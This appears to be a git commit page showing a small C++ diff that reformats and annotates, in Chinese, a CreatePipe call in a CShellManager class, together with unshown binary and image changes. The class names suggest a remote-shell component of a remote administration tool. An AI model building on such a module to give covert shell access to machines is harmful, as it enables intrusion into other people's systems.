This commit is contained in:
Cc28257 2020-07-18 13:47:51 +08:00
parent d8c29f12ee
commit ce2bbd9dfb
7 changed files with 6 additions and 1 deletions

Binary file not shown.

View File

@ -26,7 +26,12 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
//创建管道管道用于获取cmd的数据信息
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
if(!CreatePipe(
&m_hReadPipeHandle, // __out 读取句柄
&m_hWritePipeShell, // __out 写入句柄
&sa, // __in SECURITY_ATTRIBUTES结构体指针 加测返回的句柄是否能够被子进程继承为NULL不能继承 匿名管道必须有这个结构体
0 // 缓冲区大小参数为0时使用默认大小
))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 398 KiB

View File

Before

Width:  |  Height:  |  Size: 230 KiB

After

Width:  |  Height:  |  Size: 230 KiB